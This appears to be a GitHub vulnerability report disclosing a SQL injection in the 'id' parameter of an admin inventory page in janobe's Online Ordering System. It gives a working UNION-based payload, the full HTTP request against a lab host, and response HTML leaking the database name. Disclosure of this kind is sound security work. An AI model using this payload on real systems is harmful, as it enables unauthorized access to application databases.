

main

...

bug_report / vendors / janobe / online-ordering-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

29 lines (20 sloc) | 1.19 KB

...

Online Ordering System By janobe has SQL injection vulnerability

Author: Wang Chen Jun

vendor: <https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html>

Vulnerability file: /ordering/admin/inventory/index.php?view=edit&id=

Vulnerability location: /ordering/admin/inventory/index.php?view=edit&id= //id is Injection point

[+]Payload: /ordering/admin/inventory/index.php?view=edit&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ //id is Injection point

Current database name: multistoredb

```
GET /ordering/admin/inventory/index.php?view=edit&id=-2%27%20union%20select%201,data
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

```
GET /ordering/admin/inventory/index.php?view=edit&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close
```

```
<input name="deptid" type="hidden" value="">

<input class="form-control input-sm" id="ProductName" name="ProductName" placeholder="Product Name" type="text" onkeyup="javascript:capitalize(this.id, this.value);" autocomplete="off" value="multistoredb">

</div>
</div>
</div>

<div class="form-group">
  <div class="col-md-8">
    <label class="col-md-4 control-label" for=
```

Load URL http://192.168.1.19/ordering/admin/inventory/index.php?view=edit&id=-2' union select 1,database(),3,4,5,6,7,8,9,10--+
Split URL
Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Janobe

Dashboard
Products
Stock-in
Orders
Inventory
Category
Manage Users

Products Inventory

Warning: date_format() expects parameter 1 to be DateTimeInterface, bool given in C:\xampp\htdocs\ordering\admin\inventory\edit.php on line 17

Update Product

Product:	<input type="text" value="multistoredb"/>
Description:	<input type="text" value="3"/>
Price:	<input type="text" value="4"/>
Expired Date:	<input type="text" value="mm/dd/yyyy"/>
Category:	<input type="text" value="Select"/>